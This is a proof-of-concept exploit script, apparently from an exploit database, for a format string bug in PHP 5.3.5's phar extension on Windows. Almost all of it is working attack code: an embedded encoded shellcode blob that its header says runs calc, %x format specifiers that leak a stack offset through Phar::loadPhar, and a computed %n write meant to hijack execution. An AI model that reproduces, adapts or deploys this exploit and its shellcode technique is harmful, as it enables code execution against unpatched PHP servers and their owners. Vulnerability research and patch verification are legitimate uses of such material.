|
PHP "phar/phar_object.c" format string bug
The update and source detail is here http://svn.php.net/viewvc?view=revision&revision=309221
<?php
////////////////////////// PHP 5.3.5 phar format string POC(Win32)
///////////// PHP "phar/phar_object.c" format string Vulnerability -->see http://sebug.net/vulndb/20375/
///////////// Exploit by ylbhz@hotmail.com
///////////// Greet: Inj3ct0r Exploit DataBase 1337day.com
///////////// TEST in (Win32) PHP/5.3.5 On WinXP sp3 (cn)
///////////// Payload windows/exec {CMD=calc, Encoder=x86/alphamixed}
$shellcode = "".
"\x89\xe0\xdb\xc1\xd9\x70\xf4\x58\x50\x59\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a".
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32".
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49".
"\x49\x6c\x5a\x48\x4f\x79\x43\x30\x45\x50\x47\x70\x43\x50\x4e".
"\x69\x58\x65\x50\x31\x5a\x72\x45\x34\x4e\x6b\x56\x32\x54\x70".
"\x4e\x6b\x52\x72\x54\x4c\x4e\x6b\x50\x52\x52\x34\x4c\x4b\x51".
"\x62\x54\x68\x56\x6f\x4f\x47\x52\x6a\x51\x36\x56\x51\x49\x6f".
"\x54\x71\x49\x50\x4c\x6c\x47\x4c\x50\x61\x43\x4c\x54\x42\x56".
"\x4c\x45\x70\x4f\x31\x58\x4f\x54\x4d\x43\x31\x49\x57\x5a\x42".
"\x58\x70\x51\x42\x50\x57\x4c\x4b\x50\x52\x54\x50\x4c\x4b\x43".
"\x72\x45\x6c\x47\x71\x5a\x70\x4e\x6b\x43\x70\x43\x48\x4d\x55".
"\x49\x50\x54\x34\x43\x7a\x45\x51\x5a\x70\x56\x30\x4c\x4b\x43".
"\x78\x54\x58\x4c\x4b\x43\x68\x47\x50\x43\x31\x58\x53\x5a\x43".
"\x47\x4c\x52\x69\x4c\x4b\x47\x44\x4e\x6b\x47\x71\x58\x56\x50".
"\x31\x49\x6f\x54\x71\x4b\x70\x4c\x6c\x5a\x61\x58\x4f\x56\x6d".
"\x47\x71\x4f\x37\x56\x58\x4d\x30\x43\x45\x4b\x44\x56\x63\x43".
"\x4d\x5a\x58\x45\x6b\x43\x4d\x51\x34\x52\x55\x4d\x32\x50\x58".
"\x4e\x6b\x43\x68\x51\x34\x43\x31\x49\x43\x52\x46\x4e\x6b\x56".
"\x6c\x50\x4b\x4e\x6b\x43\x68\x47\x6c\x43\x31\x4b\x63\x4c\x4b".
"\x45\x54\x4c\x4b\x56\x61\x4e\x30\x4f\x79\x47\x34\x47\x54\x51".
"\x34\x43\x6b\x51\x4b\x45\x31\x56\x39\x43\x6a\x43\x61\x4b\x4f".
"\x4b\x50\x50\x58\x43\x6f\x43\x6a\x4e\x6b\x56\x72\x58\x6b\x4f".
"\x76\x51\x4d\x51\x7a\x45\x51\x4c\x4d\x4f\x75\x4f\x49\x43\x30".
"\x43\x30\x45\x50\x56\x30\x50\x68\x56\x51\x4e\x6b\x52\x4f\x4b".
"\x37\x49\x6f\x49\x45\x4f\x4b\x58\x70\x4f\x45\x4c\x62\x50\x56".
"\x51\x78\x4d\x76\x4d\x45\x4d\x6d\x4f\x6d\x4b\x4f\x4b\x65\x47".
"\x4c\x47\x76\x43\x4c\x47\x7a\x4f\x70\x49\x6b\x4b\x50\x51\x65".
"\x56\x65\x4f\x4b\x50\x47\x45\x43\x43\x42\x50\x6f\x51\x7a\x47".
"\x70\x56\x33\x49\x6f\x5a\x75\x52\x43\x51\x71\x50\x6c\x51\x73".
"\x47\x70\x41\x41";
$junk_size = 33;
$format = array();
$format[0] = "$shellcode%x%x%x%x%x|%x|";
$format[1] = "";
$format[2] = "Good luck for you!";
$p = new Phar("test.phar");
try
{
$p->loadPhar($format[0]);
}catch (Exception $e) {
$arr = explode("|", $e->getMessage());
$offset = hexdec($arr[1]);
$num1 = ($offset - $junk_size) / 190;
$num2 = ($offset - $junk_size) % 190;
printf("offset:%x; num1:%d; num2:%d\r\n", $offset, $num1, $num2);
for($i = 0;$i < 190;$i ++)
{
if($i == 0) $format[1] .= "%".sprintf("%dx", $num1 + $num2);
else $format[1] .= "%".sprintf("%dx", $num1);
}
$format[1] .= "%n";
try{ $p->loadPhar($format[1]); } catch (Exception $e){};
}
print $format[2];
?>
|